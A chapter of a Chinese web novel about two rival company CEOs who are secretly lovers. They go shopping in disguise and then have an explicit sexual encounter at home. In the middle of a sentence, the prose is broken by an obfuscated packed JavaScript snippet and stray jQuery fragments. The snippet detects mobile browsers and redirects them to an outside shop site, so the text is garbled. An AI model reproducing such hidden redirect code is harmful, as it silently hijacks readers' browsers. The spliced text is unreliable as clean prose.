两家公司彼此都是对方的第一仇恨人,每次出了什么事情第一时间想到的也都是怀疑是对方偷偷干的好事。 没想到这回确实是一起被黑的共患难关系了。 ……呸!谁要和自己的行业内对家共患难啊! 23.新春座谈会23 这个男朋友牌的靠枕躺起来是真的很舒服,小路总像液体一样往下滑,时不时地揩一下商赭的油,还因为这个姿势摸鱼不够舒服,又趴到了商赭身上看书。 他们今天下午没有别的工作,就想到了去超市一趟。 这附近恰巧有一家商超,规模很大,必须办理会员才能够进入,商赭不知道什么时候办过他家的卡,顺带把副卡给了路翎。 这边的食物新鲜度也能够满足,几乎住在附近的富豪们的保姆管家们都会跑到这边进行采购。周围的人都是有很大的可能认识他们两个的样貌。 每当有人看过来的时候,路翎都会下意识地把自己的脑袋往戴着的白色围巾里一缩,像一只逃避着不想面对事实的小狐狸一样,一圈白色的毛茸茸遮挡住其他人看向小路总的视线。 好可爱。 商赭忍不住伸出手,在小路总的头发上摸了一把。 如果是十年前的话,路翎应该会震惊地往后一退,用谴责的眼神看向商赭,指指点点邪恶的北京人试图害他长不高。 但现在成熟的路总却只会像一只树懒熊一样理直气壮地借此机会扒拉在商赭身上。 小路总今天穿的是一件白色衬衫,外面套着一件颇具学生气息的粉色v领毛衣,感觉穿上身以后整个人年轻了十岁。 要不是脖子上还有一圈先前被啃出来的牙印,路翎刚刚进了超市以后就要脱掉这条围巾,他调整了一下围巾的位置,把自己的脸埋进围巾里面。 路翎看着商赭穿上了一件蓝紫色系的外套,眼睛瞬间一亮。 好帅,不愧是我男朋友!他仔仔细细地打量了一遍,满意地点点头。 他下意识地挽起袖扣,转过身开始寻找起来。 小路总的手背上的血管颜色偏蓝,戴上商赭的某款镶嵌着蓝宝石的手表时也不违和。 机械造物冰冷地贴着他的手腕,每分每秒都在发出轻微的响声。 他微微垂眸,商赭平日里爱穿的都是黑白灰色系的衣服,看上去单调严肃,难得配上这么一件蓝紫色的外套,不容易被认出来不说,看上去就像是一位时髦的酷哥,路翎挑挑拣拣了一番,又在一众眼镜里面挑出一个银质的方框眼镜。 光这么看着都能觉得有种斯文败类的感觉呼之欲出。 商赭换衣服的时候也完全不背着路翎,甚至可以说是故意露出自己健身得当的身体和路翎最满意的腹肌。 就这么一会儿的时间,两个人就这么顺理成章地又亲了上来。 路翎撞到了眼镜框上,商赭本来想要摘掉眼镜,却被路总限制住了手。 斯文败类的商总今天在战局上节节败退,竟然被路总占据了大部分的地盘,取得了断层的优势。 “想看你戴着眼镜……”路翎在结束这个吻以后气喘吁吁地说道。 虽然后半句的内容被省略掉了,但两个人都很清楚这句话的意思。 商赭忍不住又亲亲路翎的唇角,他的嘴唇看上去红艳艳的,亲了人以后泛着水润的光泽,“你身体真的可以撑得住吗?” 这句话对于路翎来说无异于一种激将法。 商氏集团的总裁问自己撑不撑得住,作为雁翎集团的总裁,路翎必须要在对方的面前挣回这么一口气。 “哼,当然撑得住了,倒是你,小心累到了。” 两个人对视一眼,彼此之间竟然带了一些剑拔弩张的气息。 先前被拿来做过一些额外用途的那条围巾被弄得脏兮兮的,路翎环顾一圈,抽了商赭衣柜里的一条嫩粉色的围巾,叉腰坏笑过后将之环在商总的身上。 有点不搭,但是还是帅的。 他们衣柜里这些粉红色的搭配物品大都是在学生时期彼此恶作剧的遗留,路翎在和商赭尤其不对付的时候就喜欢给对方赠送一些粉红色的东西故意恶心对方……当时抱着的都是恶心一下对方的心态。 等到谈恋爱了以后,这些粉色的东西失去了原有的作用,但看上去都是冒出来无数的粉红泡泡了,一直保存到了现在。 商赭在衣柜里精准地找到一双看上去有点老旧的粉红色手套,也替路翎换好。 两个人身上的服装颜色刚刚好一一对应,大老远一看就知道是一对在炫耀感情的臭情侣。 如此配色在旁人眼里可能多少有些夸张和灾难,但凑近了看,它们出现在商赭和路翎两个年轻英俊的帅哥的身上,就可以说是格外的合适了——不是说有句话叫,帅哥就是披着麻袋出门别人都能觉得他们长得帅吗? 故意年轻化情侣化的打扮可以最大程度上别人猜到他们两个人身上的可能。 ……毕竟最大的两个竞争对手居然会穿情侣装逛超市什么的,听上去未免也太不可能了。 即使存心打量,路翎和商赭都围了围巾挡住自己的脸,他人第一眼看到的也只有上边露出来的一点眉眼,心里十有八九是在怀疑会是不是哪家的大少爷,周末跑出来体验生活了。 要不是实在抛不开自己的脸面,路翎摩挲了一下自己的下巴,他现在说不定就已经坐到商赭推着的超市小推车里面了,还要颐指气使地示意对方推着自己走,以此重温一下初中的美好回忆。 两个人在超市里兜兜转转,就和天底下每一对逛超市的恋人一样,这个拿起来看看,那个捉起来比较。 路总在进入了生鲜这一块食物领域以后简直如鱼得水。不仅是因为老爹开的养殖场,还因为大二那年路翎受朋友所托,几乎每个周末都要跑去农学院那边一趟,杵着当人家照顾毕设的重要吉祥物和锦鲤。 一来二去也就对什么肉类的肌理方面的知识烂熟于心,甚至比不少农学院的学生还精通。 路翎拿起几盒肉,端着它们离开眼前的环境光,两相比较挑挑拣拣,商赭则认真地计算着食物的热量。 小路总能留在京城的时间不多,他们也没有挑多少东西,把他指名点的几道菜的原料都买齐了。 他牵着商赭的手,挠了挠商赭的掌心,后者自觉地付清了今天的采购费用,开着车回到了家里。 一看时间,居然才四点半,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13947028|146765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人又不得不开始找一个新的方法消磨时光。 路翎让智能家居投影电影到屏幕上,进入电影模式的情况下,全屋自动熄灭了灯光,昏暗的房间里,主角和爱人飞快地相识相许,电影里的角色也不知道为什么就抱在了一起。 令人眼红心跳的声音通过音响播放出来,路翎不得不把主角对话的声音当做了一种背景音。 他咬住商赭的耳朵,像是提醒一样地用牙齿反复地磨过,提醒道:“亲爱的,你刚刚不是问我能不能撑得住吗?” 商赭的目光早已在路翎动作的时候就已经滞留在了他的身上,商赭伸出手,环抱住主动投怀送抱的小路总。 现如今谁会说自己撑不住呢? 他伸出手,将路翎一拽,对方就和自己一样倒在了这张沙发上。 沙发上多出了一道长长的指印。 粉红色的围巾和粉红色的手套上下交叠,电影里的主角正在和他的荧幕恋人吻得难舍难分。 路翎缓慢地摘下手表。 别墅里装的智能音响质量奇佳,电影里的雨声落下时会让人有身临其境的感觉。 围巾缠绕,蒙住人类的双眼。 在这种情况下,人类的其他感官所得到的反馈也会加大。 地板上铺着的毛毯很柔软,不用担心让他的膝盖被擦红。 对方蓄谋已久,抓住了路翎的手。 “宝宝,要不要试试看。” 幸亏用围巾挡住了。 路翎心想,要不然商赭就得看出来自己现在有多脸红了。 这可不是多么简单的事情。 路翎对商赭的体能到底好不好这件事情享有高度的发言权。 明明自己也经常健身,但和商赭比较起来,体能上还是薄弱了太多。 手指在黑暗中摸索着,寻找着具体的方位,路翎咬咬牙贴近对方,想要尽快让商赭从当前的状态中脱离。 也不知道过了多久,感觉电影都已经播放到尾声了。 路翎感觉自己的手指酸到难以抬起了。 这人居然还能够维持一副不为所动的样子,真的假的啊。 明明又不是没有反应。 “宝宝,帮我一下,好吗?” 商赭说话的时候用的明明是请求的语气,可路翎却完全没有拒绝的余地。 自己先玩心大起的。这种时候当然也没有任何讨价还价的余地了。 小路总抿起嘴唇点了点头。 …… 睫羽被蹭上些许,被商赭伸手抹去。 更多的牛奶从路翎的嘴唇边缓缓淌下,他下意识地把嘴里的牛奶全部咽了下去。 “宝宝好棒,都喝下去了。” 商赭耐心地夸奖道。 他递来一杯蜂蜜,放在路翎的的唇边慢慢地喂着,用甜味冲刷掉先前的腥气。 迷迷糊糊间,路翎再次笃定了自己之前先前玩奇迹商总时的一个想法。 商赭这家伙真的是一个彻头彻尾的、衣冠楚楚的斯文败类啊!